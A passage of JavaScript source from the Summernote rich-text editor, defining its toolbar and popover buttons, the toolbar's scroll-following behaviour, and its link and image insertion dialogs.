class="' + item.className + '"' : ''; return '<' + tag + style + className + '>' + title + '</' + tag + '>'; }, click: _this.context.createInvokeHandler('editor.formatBlock') }) ]).render(); }); var _loop_1 = function (styleIdx, styleLen) { var item = this_1.options.styleTags[styleIdx]; this_1.context.memo('button.style.' + item, function () { return _this.button({ className: 'note-btn-style-' + item, contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>', tooltip: _this.lang.style[item], click: _this.context.createInvokeHandler('editor.formatBlock') }).render(); }); }; var this_1 = this; for (var styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) { _loop_1(styleIdx, styleLen); } this.context.memo('button.bold', function () { return _this.button({ className: 'note-btn-bold', contents: _this.ui.icon(_this.options.icons.bold), tooltip: _this.lang.font.bold + _this.representShortcut('bold'), click: _this.context.createInvokeHandlerAndUpdateState('editor.bold') }).render(); }); this.context.memo('button.italic', function () { return _this.button({ className: 'note-btn-italic', contents: _this.ui.icon(_this.options.icons.italic), tooltip: _this.lang.font.italic + _this.representShortcut('italic'), click: _this.context.createInvokeHandlerAndUpdateState('editor.italic') }).render(); }); this.context.memo('button.underline', function () { return _this.button({ className: 'note-btn-underline', contents: _this.ui.icon(_this.options.icons.underline), tooltip: _this.lang.font.underline + _this.representShortcut('underline'), click: _this.context.createInvokeHandlerAndUpdateState('editor.underline') }).render(); }); this.context.memo('button.clear', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.eraser), tooltip: _this.lang.font.clear + _this.representShortcut('removeFormat'), click: _this.context.createInvokeHandler('editor.removeFormat') }).render(); }); this.context.memo('button.strikethrough', function () { return _this.button({ className: 'note-btn-strikethrough', contents: _this.ui.icon(_this.options.icons.strikethrough), tooltip: _this.lang.font.strikethrough + _this.representShortcut('strikethrough'), click: _this.context.createInvokeHandlerAndUpdateState('editor.strikethrough') }).render(); }); this.context.memo('button.superscript', function () { return _this.button({ className: 'note-btn-superscript', contents: _this.ui.icon(_this.options.icons.superscript), tooltip: _this.lang.font.superscript, click: _this.context.createInvokeHandlerAndUpdateState('editor.superscript') }).render(); }); this.context.memo('button.subscript', function () { return _this.button({ className: 'note-btn-subscript', contents: _this.ui.icon(_this.options.icons.subscript), tooltip: _this.lang.font.subscript, click: _this.context.createInvokeHandlerAndUpdateState('editor.subscript') }).render(); }); this.context.memo('button.fontname', function () { var styleInfo = _this.context.invoke('editor.currentStyle'); // Add 'default' fonts into the fontnames array if not exist $$1.each(styleInfo['font-family'].split(','), function (idx, fontname) { fontname = fontname.trim().replace(/['"]+/g, ''); if (_this.isFontDeservedToAdd(fontname)) { if ($$1.inArray(fontname, _this.options.fontNames) === -1) { _this.options.fontNames.push(fontname); } } }); return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('<span class="note-current-fontname"/>', _this.options), tooltip: _this.lang.font.name, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ className: 'dropdown-fontname', checkClassName: _this.options.icons.menuCheck, items: _this.options.fontNames.filter(_this.isFontInstalled.bind(_this)), title: _this.lang.font.name, template: function (item) { return '<span style="font-family: \'' + item + '\'">' + item + '</span>'; }, click: _this.context.createInvokeHandlerAndUpdateState('editor.fontName') }) ]).render(); }); this.context.memo('button.fontsize', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', _this.options), tooltip: _this.lang.font.size, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ className: 'dropdown-fontsize', checkClassName: _this.options.icons.menuCheck, items: _this.options.fontSizes, title: _this.lang.font.size, click: _this.context.createInvokeHandlerAndUpdateState('editor.fontSize') }) ]).render(); }); this.context.memo('button.color', function () { return _this.ui.buttonGroup({ className: 'note-color', children: [ _this.button({ className: 'note-current-color-button', contents: _this.ui.icon(_this.options.icons.font + ' note-recent-color'), tooltip: _this.lang.color.recent, click: function (e) { var $button = $$1(e.currentTarget); _this.context.invoke('editor.color', { backColor: $button.attr('data-backColor'), foreColor: $button.attr('data-foreColor') }); }, callback: function ($button) { var $recentColor = $button.find('.note-recent-color'); $recentColor.css('background-color', '#FFFF00'); $button.attr('data-backColor', '#FFFF00'); } }), _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('', _this.options), tooltip: _this.lang.color.more, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ items: [ '<div class="note-palette">', ' <div class="note-palette-title">' + _this.lang.color.background + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">', _this.lang.color.transparent, ' </button>', ' </div>', ' <div class="note-holder" data-event="backColor"/>', '</div>', '<div class="note-palette">', ' <div class="note-palette-title">' + _this.lang.color.foreground + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">', _this.lang.color.resetToDefault, ' </button>', ' </div>', ' <div class="note-holder" data-event="foreColor"/>', '</div>' ].join(''), callback: function ($dropdown) { $dropdown.find('.note-holder').each(function (idx, item) { var $holder = $$1(item); $holder.append(_this.ui.palette({ colors: _this.options.colors, colorsName: _this.options.colorsName, eventName: $holder.data('event'), container: _this.options.container, tooltip: _this.options.tooltip }).render()); }); }, click: function (event) { var $button = $$1(event.target); var eventName = $button.data('event'); var value = $button.data('value'); if (eventName && value) { var key = eventName === 'backColor' ? 'background-color' : 'color'; var $color = $button.closest('.note-color').find('.note-recent-color'); var $currentButton = $button.closest('.note-color').find('.note-current-color-button'); $color.css(key, value); $currentButton.attr('data-' + eventName, value); _this.context.invoke('editor.' + eventName, value); } } }) ] }).render(); }); this.context.memo('button.ul', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.unorderedlist), tooltip: _this.lang.lists.unordered + _this.representShortcut('insertUnorderedList'), click: _this.context.createInvokeHandler('editor.insertUnorderedList') }).render(); }); this.context.memo('button.ol', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.orderedlist), tooltip: _this.lang.lists.ordered + _this.representShortcut('insertOrderedList'), click: _this.context.createInvokeHandler('editor.insertOrderedList') }).render(); }); var justifyLeft = this.button({ contents: this.ui.icon(this.options.icons.alignLeft), tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'), click: this.context.createInvokeHandler('editor.justifyLeft') }); var justifyCenter = this.button({ contents: this.ui.icon(this.options.icons.alignCenter), tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'), click: this.context.createInvokeHandler('editor.justifyCenter') }); var justifyRight = this.button({ contents: this.ui.icon(this.options.icons.alignRight), tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'), click: this.context.createInvokeHandler('editor.justifyRight') }); var justifyFull = this.button({ contents: this.ui.icon(this.options.icons.alignJustify), tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'), click: this.context.createInvokeHandler('editor.justifyFull') }); var outdent = this.button({ contents: this.ui.icon(this.options.icons.outdent), tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'), click: this.context.createInvokeHandler('editor.outdent') }); var indent = this.button({ contents: this.ui.icon(this.options.icons.indent), tooltip: this.lang.paragraph.indent + this.representShortcut('indent'), click: this.context.createInvokeHandler('editor.indent') }); this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render')); this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render')); this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render')); this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render')); this.context.memo('button.outdent', func.invoke(outdent, 'render')); this.context.memo('button.indent', func.invoke(indent, 'render')); this.context.memo('button.paragraph', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.alignLeft), _this.options), tooltip: _this.lang.paragraph.paragraph, data: { toggle: 'dropdown' } }), _this.ui.dropdown([ _this.ui.buttonGroup({ className: 'note-align', children: [justifyLeft, justifyCenter, justifyRight, justifyFull] }), _this.ui.buttonGroup({ className: 'note-list', children: [outdent, indent] }) ]) ]).render(); }); this.context.memo('button.height', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.textHeight), _this.options), tooltip: _this.lang.font.height, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ items: _this.options.lineHeights, checkClassName: _this.options.icons.menuCheck, className: 'dropdown-line-height', title: _this.lang.font.height, click: _this.context.createInvokeHandler('editor.lineHeight') }) ]).render(); }); this.context.memo('button.table', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.table), _this.options), tooltip: _this.lang.table.table, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ title: _this.lang.table.table, className: 'note-table', items: [ '<div class="note-dimension-picker">', ' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>', ' <div class="note-dimension-picker-highlighted"/>', ' <div class="note-dimension-picker-unhighlighted"/>', '</div>', '<div class="note-dimension-display">1 x 1</div>' ].join('') }) ], { callback: function ($node) { var $catcher = $node.find('.note-dimension-picker-mousecatcher'); $catcher.css({ width: _this.options.insertTableMaxSize.col + 'em', height: _this.options.insertTableMaxSize.row + 'em' }).mousedown(_this.context.createInvokeHandler('editor.insertTable')) .on('mousemove', _this.tableMoveHandler.bind(_this)); } }).render(); }); this.context.memo('button.link', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.link), tooltip: _this.lang.link.link + _this.representShortcut('linkDialog.show'), click: _this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.picture', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.picture), tooltip: _this.lang.image.image, click: _this.context.createInvokeHandler('imageDialog.show') }).render(); }); this.context.memo('button.video', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.video), tooltip: _this.lang.video.video, click: _this.context.createInvokeHandler('videoDialog.show') }).render(); }); this.context.memo('button.hr', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.minus), tooltip: _this.lang.hr.insert + _this.representShortcut('insertHorizontalRule'), click: _this.context.createInvokeHandler('editor.insertHorizontalRule') }).render(); }); this.context.memo('button.fullscreen', function () { return _this.button({ className: 'btn-fullscreen', contents: _this.ui.icon(_this.options.icons.arrowsAlt), tooltip: _this.lang.options.fullscreen, click: _this.context.createInvokeHandler('fullscreen.toggle') }).render(); }); this.context.memo('button.codeview', function () { return _this.button({ className: 'btn-codeview', contents: _this.ui.icon(_this.options.icons.code), tooltip: _this.lang.options.codeview, click: _this.context.createInvokeHandler('codeview.toggle') }).render(); }); this.context.memo('button.redo', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.redo), tooltip: _this.lang.history.redo + _this.representShortcut('redo'), click: _this.context.createInvokeHandler('editor.redo') }).render(); }); this.context.memo('button.undo', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.undo), tooltip: _this.lang.history.undo + _this.representShortcut('undo'), click: _this.context.createInvokeHandler('editor.undo') }).render(); }); this.context.memo('button.help', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.question), tooltip: _this.lang.options.help, click: _this.context.createInvokeHandler('helpDialog.show') }).render(); }); }; /** * image : [ * ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], * ['float', ['floatLeft', 'floatRight', 'floatNone' ]], * ['remove', ['removeMedia']] * ], */ Buttons.prototype.addImagePopoverButtons = function () { var _this = this; // Image Size Buttons this.context.memo('button.imageSize100', function () { return _this.button({ contents: '<span class="note-fontsize-10">100%</span>', tooltip: _this.lang.image.resizeFull, click: _this.context.createInvokeHandler('editor.resize', '1') }).render(); }); this.context.memo('button.imageSize50', function () { return _this.button({ contents: '<span class="note-fontsize-10">50%</span>', tooltip: _this.lang.image.resizeHalf, click: _this.context.createInvokeHandler('editor.resize', '0.5') }).render(); }); this.context.memo('button.imageSize25', function () { return _this.button({ contents: '<span class="note-fontsize-10">25%</span>', tooltip: _this.lang.image.resizeQuarter, click: _this.context.createInvokeHandler('editor.resize', '0.25') }).render(); }); // Float Buttons this.context.memo('button.floatLeft', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignLeft), tooltip: _this.lang.image.floatLeft, click: _this.context.createInvokeHandler('editor.floatMe', 'left') }).render(); }); this.context.memo('button.floatRight', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignRight), tooltip: _this.lang.image.floatRight, click: _this.context.createInvokeHandler('editor.floatMe', 'right') }).render(); }); this.context.memo('button.floatNone', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignJustify), tooltip: _this.lang.image.floatNone, click: _this.context.createInvokeHandler('editor.floatMe', 'none') }).render(); }); // Remove Buttons this.context.memo('button.removeMedia', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.trash), tooltip: _this.lang.image.remove, click: _this.context.createInvokeHandler('editor.removeMedia') }).render(); }); }; Buttons.prototype.addLinkPopoverButtons = function () { var _this = this; this.context.memo('button.linkDialogShow', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.link), tooltip: _this.lang.link.edit, click: _this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.unlink', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.unlink), tooltip: _this.lang.link.unlink, click: _this.context.createInvokeHandler('editor.unlink') }).render(); }); }; /** * table : [ * ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], * ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] * ], */ Buttons.prototype.addTablePopoverButtons = function () { var _this = this; this.context.memo('button.addRowUp', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowAbove), tooltip: _this.lang.table.addRowAbove, click: _this.context.createInvokeHandler('editor.addRow', 'top') }).render(); }); this.context.memo('button.addRowDown', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowBelow), tooltip: _this.lang.table.addRowBelow, click: _this.context.createInvokeHandler('editor.addRow', 'bottom') }).render(); }); this.context.memo('button.addColLeft', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colBefore), tooltip: _this.lang.table.addColLeft, click: _this.context.createInvokeHandler('editor.addCol', 'left') }).render(); }); this.context.memo('button.addColRight', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colAfter), tooltip: _this.lang.table.addColRight, click: _this.context.createInvokeHandler('editor.addCol', 'right') }).render(); }); this.context.memo('button.deleteRow', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.rowRemove), tooltip: _this.lang.table.delRow, click: _this.context.createInvokeHandler('editor.deleteRow') }).render(); }); this.context.memo('button.deleteCol', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.colRemove), tooltip: _this.lang.table.delCol, click: _this.context.createInvokeHandler('editor.deleteCol') }).render(); }); this.context.memo('button.deleteTable', function () { return _this.button({ className: 'btn-md', contents: _this.ui.icon(_this.options.icons.trash), tooltip: _this.lang.table.delTable, click: _this.context.createInvokeHandler('editor.deleteTable') }).render(); }); }; Buttons.prototype.build = function ($container, groups) { for (var groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) { var group = groups[groupIdx]; var groupName = $$1.isArray(group) ? group[0] : group; var buttons = $$1.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group]; var $group = this.ui.buttonGroup({ className: 'note-' + groupName }).render(); for (var idx = 0, len = buttons.length; idx < len; idx++) { var btn = this.context.memo('button.' + buttons[idx]); if (btn) { $group.append(typeof btn === 'function' ? btn(this.context) : btn); } } $group.appendTo($container); } }; /** * @param {jQuery} [$container] */ Buttons.prototype.updateCurrentStyle = function ($container) { var _this = this; var $cont = $container || this.$toolbar; var styleInfo = this.context.invoke('editor.currentStyle'); this.updateBtnStates($cont, { '.note-btn-bold': function () { return styleInfo['font-bold'] === 'bold'; }, '.note-btn-italic': function () { return styleInfo['font-italic'] === 'italic'; }, '.note-btn-underline': function () { return styleInfo['font-underline'] === 'underline'; }, '.note-btn-subscript': function () { return styleInfo['font-subscript'] === 'subscript'; }, '.note-btn-superscript': function () { return styleInfo['font-superscript'] === 'superscript'; }, '.note-btn-strikethrough': function () { return styleInfo['font-strikethrough'] === 'strikethrough'; } }); if (styleInfo['font-family']) { var fontNames = styleInfo['font-family'].split(',').map(function (name) { return name.replace(/[\'\"]/g, '') .replace(/\s+$/, '') .replace(/^\s+/, ''); }); var fontName_1 = lists.find(fontNames, this.isFontInstalled.bind(this)); $cont.find('.dropdown-fontname a').each(function (idx, item) { var $item = $$1(item); // always compare string to avoid creating another func. var isChecked = ($item.data('value') + '') === (fontName_1 + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontname').text(fontName_1).css('font-family', fontName_1); } if (styleInfo['font-size']) { var fontSize_1 = styleInfo['font-size']; $cont.find('.dropdown-fontsize a').each(function (idx, item) { var $item = $$1(item); // always compare with string to avoid creating another func. var isChecked = ($item.data('value') + '') === (fontSize_1 + ''); $item.toggleClass('checked', isChecked); }); $cont.find('.note-current-fontsize').text(fontSize_1); } if (styleInfo['line-height']) { var lineHeight_1 = styleInfo['line-height']; $cont.find('.dropdown-line-height li a').each(function (idx, item) { // always compare with string to avoid creating another func. var isChecked = ($$1(item).data('value') + '') === (lineHeight_1 + ''); _this.className = isChecked ? 'checked' : ''; }); } }; Buttons.prototype.updateBtnStates = function ($container, infos) { var _this = this; $$1.each(infos, function (selector, pred) { _this.ui.toggleBtnActive($container.find(selector), pred()); }); }; Buttons.prototype.tableMoveHandler = function (event) { var PX_PER_EM = 18; var $picker = $$1(event.target.parentNode); // target is mousecatcher var $dimensionDisplay = $picker.next(); var $catcher = $picker.find('.note-dimension-picker-mousecatcher'); var $highlighted = $picker.find('.note-dimension-picker-highlighted'); var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted'); var posOffset; // HTML5 with jQuery - e.offsetX is undefined in Firefox if (event.offsetX === undefined) { var posCatcher = $$1(event.target).offset(); posOffset = { x: event.pageX - posCatcher.left, y: event.pageY - posCatcher.top }; } else { posOffset = { x: event.offsetX, y: event.offsetY }; } var dim = { c: Math.ceil(posOffset.x / PX_PER_EM) || 1, r: Math.ceil(posOffset.y / PX_PER_EM) || 1 }; $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' }); $catcher.data('value', dim.c + 'x' + dim.r); if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) { $unhighlighted.css({ width: dim.c + 1 + 'em' }); } if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) { $unhighlighted.css({ height: dim.r + 1 + 'em' }); } $dimensionDisplay.html(dim.c + ' x ' + dim.r); }; return Buttons; }()); var Toolbar = /** @class */ (function () { function Toolbar(context) { this.context = context; this.$window = $$1(window); this.$document = $$1(document); this.ui = $$1.summernote.ui; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.followScroll = this.followScroll.bind(this); } Toolbar.prototype.shouldInitialize = function () { return !this.options.airMode; }; Toolbar.prototype.initialize = function () { var _this = this; this.options.toolbar = this.options.toolbar || []; if (!this.options.toolbar.length) { this.$toolbar.hide(); } else { this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar); } if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } this.changeContainer(false); this.$note.on('summernote.keyup summernote.mouseup summernote.change', function () { _this.context.invoke('buttons.updateCurrentStyle'); }); this.context.invoke('buttons.updateCurrentStyle'); if (this.options.followingToolbar) { this.$window.on('scroll resize', this.followScroll); } }; Toolbar.prototype.destroy = function () { this.$toolbar.children().remove(); if (this.options.followingToolbar) { this.$window.off('scroll resize', this.followScroll); } }; Toolbar.prototype.followScroll = function () { if (this.$editor.hasClass('fullscreen')) { return false; } var $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper'); var editorHeight = this.$editor.outerHeight(); var editorWidth = this.$editor.width(); var toolbarHeight = this.$toolbar.height(); $toolbarWrapper.css({ height: toolbarHeight }); // check if the web app is currently using another static bar var otherBarHeight = 0; if (this.options.otherStaticBar) { otherBarHeight = $$1(this.options.otherStaticBar).outerHeight(); } var currentOffset = this.$document.scrollTop(); var editorOffsetTop = this.$editor.offset().top; var editorOffsetBottom = editorOffsetTop + editorHeight; var activateOffset = editorOffsetTop - otherBarHeight; var deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight; if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) { this.$toolbar.css({ position: 'fixed', top: otherBarHeight, width: editorWidth }); } else { this.$toolbar.css({ position: 'relative', top: 0, width: '100%' }); } }; Toolbar.prototype.changeContainer = function (isFullscreen) { if (isFullscreen) { this.$toolbar.prependTo(this.$editor); } else { if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } } }; Toolbar.prototype.updateFullscreen = function (isFullscreen) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen); this.changeContainer(isFullscreen); }; Toolbar.prototype.updateCodeview = function (isCodeview) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview); if (isCodeview) { this.deactivate(); } else { this.activate(); } }; Toolbar.prototype.activate = function (isIncludeCodeview) { var $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, true); }; Toolbar.prototype.deactivate = function (isIncludeCodeview) { var $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, false); }; return Toolbar; }()); var LinkDialog = /** @class */ (function () { function LinkDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']); } LinkDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<div class="form-group note-form-group">', "<label class=\"note-form-label\">" + this.lang.link.textToDisplay + "</label>", '<input class="note-link-text form-control note-form-control note-input" type="text" />', '</div>', '<div class="form-group note-form-group">', "<label class=\"note-form-label\">" + this.lang.link.url + "</label>", '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />', '</div>', !this.options.disableLinkTarget ? $$1('<div/>').append(this.ui.checkbox({ id: 'sn-checkbox-open-in-new-window', text: this.lang.link.openInNewWindow, checked: true }).render()).html() : '' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.link.insert + "</button>"; this.$dialog = this.ui.dialog({ className: 'link-dialog', title: this.lang.link.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; LinkDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; LinkDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; /** * toggle update button */ LinkDialog.prototype.toggleLinkBtn = function ($linkBtn, $linkText, $linkUrl) { this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val()); }; /** * Show link dialog and set event handlers on dialog controls. * * @param {Object} linkInfo * @return {Promise} */ LinkDialog.prototype.showLinkDialog = function (linkInfo) { var _this = this; return $$1.Deferred(function (deferred) { var $linkText = _this.$dialog.find('.note-link-text'); var $linkUrl = _this.$dialog.find('.note-link-url'); var $linkBtn = _this.$dialog.find('.note-link-btn'); var $openInNewWindow = _this.$dialog.find('input[type=checkbox]'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); // if no url was given, copy text to url if (!linkInfo.url) { linkInfo.url = linkInfo.text; } $linkText.val(linkInfo.text); var handleLinkTextUpdate = function () { _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // if linktext was modified by keyup, // stop cloning text from linkUrl linkInfo.text = $linkText.val(); }; $linkText.on('input', handleLinkTextUpdate).on('paste', function () { setTimeout(handleLinkTextUpdate, 0); }); var handleLinkUrlUpdate = function () { _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // display same link on `Text to display` input // when create a new link if (!linkInfo.text) { $linkText.val($linkUrl.val()); } }; $linkUrl.on('input', handleLinkUrlUpdate).on('paste', function () { setTimeout(handleLinkUrlUpdate, 0); }).val(linkInfo.url); if (!env.isSupportTouch) { $linkUrl.trigger('focus'); } _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); _this.bindEnterKey($linkUrl, $linkBtn); _this.bindEnterKey($linkText, $linkBtn); var isChecked = linkInfo.isNewWindow !== undefined ? linkInfo.isNewWindow : _this.context.options.linkTargetBlank; $openInNewWindow.prop('checked', isChecked); $linkBtn.one('click', function (event) { event.preventDefault(); deferred.resolve({ range: linkInfo.range, url: $linkUrl.val(), text: $linkText.val(), isNewWindow: $openInNewWindow.is(':checked') }); _this.ui.hideDialog(_this.$dialog); }); }); _this.ui.onDialogHidden(_this.$dialog, function () { // detach events $linkText.off('input paste keypress'); $linkUrl.off('input paste keypress'); $linkBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }).promise(); }; /** * @param {Object} layoutInfo */ LinkDialog.prototype.show = function () { var _this = this; var linkInfo = this.context.invoke('editor.getLinkInfo'); this.context.invoke('editor.saveRange'); this.showLinkDialog(linkInfo).then(function (linkInfo) { _this.context.invoke('editor.restoreRange'); _this.context.invoke('editor.createLink', linkInfo); }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; return LinkDialog; }()); var LinkPopover = /** @class */ (function () { function LinkPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () { _this.update(); }, 'summernote.disable summernote.dialog.shown': function () { _this.hide(); } }; } LinkPopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.link); }; LinkPopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-link-popover', callback: function ($node) { var $content = $node.find('.popover-content,.note-popover-content'); $content.prepend('<span><a target="_blank"></a> </span>'); } }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.link); }; LinkPopover.prototype.destroy = function () { this.$popover.remove(); }; LinkPopover.prototype.update = function () { // Prevent focusing on editable when invoke('code') is executed if (!this.context.invoke('editor.hasFocus')) { this.hide(); return; } var rng = this.context.invoke('editor.createRange'); if (rng.isCollapsed() && rng.isOnAnchor()) { var anchor = dom.ancestor(rng.sc, dom.isAnchor); var href = $$1(anchor).attr('href'); this.$popover.find('a').attr('href', href).html(href); var pos = dom.posFromPlaceholder(anchor); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } }; LinkPopover.prototype.hide = function () { this.$popover.hide(); }; return LinkPopover; }()); var ImageDialog = /** @class */ (function () { function ImageDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } ImageDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var imageLimitation = ''; if (this.options.maximumImageFileSize) { var unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024)); var readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 + ' ' + ' KMGTP'[unit] + 'B'; imageLimitation = "<small>" + (this.lang.image.maximumFileSize + ' : ' + readableSize) + "</small>"; } var body = [ '<div class="form-group note-form-group note-group-select-from-files">', '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>', '<input class="note-image-input note-form-control note-input" ', ' type="file" name="files" accept="image/*" multiple="multiple" />', imageLimitation, '</div>', '<div class="form-group note-group-image-url" style="overflow:auto;">', '<label class="note-form-label">' + this.lang.image.url + '</label>', '<input class="note-image-url form-control note-form-control note-input ', ' col-md-12" type="text" />', '</div>' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.image.insert + "</button>"; this.$dialog = this.ui.dialog({ title: this.lang.image.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; ImageDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; ImageDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; ImageDialog.prototype.show = function () { var _this = this; this.context.invoke('editor.saveRange'); this.showImageDialog().then(function (data) { // [workaround] hide dialog before restore range for IE range focus _this.ui.hideDialog(_this.$dialog); _this.context.invoke('editor.restoreRange'); if (typeof data === 'string') { _this.context.invoke('editor.insertImage', data); } else { _this.context.invoke('editor.insertImagesOrCallback', data); } }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ ImageDialog.prototype.showImageDialog = function () { var _this = this; return $$1.Deferred(function (deferred) { var $imageInput = _this.$dialog.find('.note-image-input'); var $imageUrl = _this.$dialog.find('.note-image-url'); var $imageBtn = _this.$dialog.find('.note-image-btn'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); // Cloning imageInput to clear element. 